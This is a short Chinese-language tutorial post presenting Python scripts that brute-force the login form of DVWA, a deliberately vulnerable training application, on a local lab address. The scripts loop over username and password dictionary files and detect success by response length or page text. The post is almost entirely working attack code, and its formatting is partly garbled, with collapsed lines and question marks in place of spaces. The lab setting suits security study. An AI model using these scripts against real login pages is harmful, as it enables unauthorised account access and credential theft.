一個(gè)簡(jiǎn)單的Python暴力破解網(wǎng)站登錄密碼腳本

url?=?"http://192.168.171.2/dvwa/vulnerabilities/brute/"

header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}

payload?=?{'username':username,'password':password,"Login":'Login'}

?Response?=?requests.get(url,params=payload,headers=header)

for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):????for?line?in?open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):

result = str(Response.status_code) + ',' + username + ','\  + password + ',' + str(len(Response.content))f.write(result?+?'\n')

import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置，方便burp抓包查看header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
f = open('result.csv','w')f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n')for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):        username = admin.strip()        password = line.strip()        payload = {'username':username,'password':password,"Login":'Login'}        Response = requests.get(url,params=payload,headers=header)        result = str(Response.status_code) + ',' + username + ','\            + password + ',' + str(len(Response.content))        f.write(result + '\n')
print('\n完成')

import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置，方便burp抓包查看header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
f = open('result.txt','w')for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):        username = admin.strip()        password = line.strip()        payload = {'username':username,'password':password,"Login":'Login'}        Response = requests.get(url,params=payload,headers=header)        if not(Response.text.find('Welcome to the password protected area')==-1):            result = username + ':' + password            print(result)            f.write(result + '\n')            print('\n完成')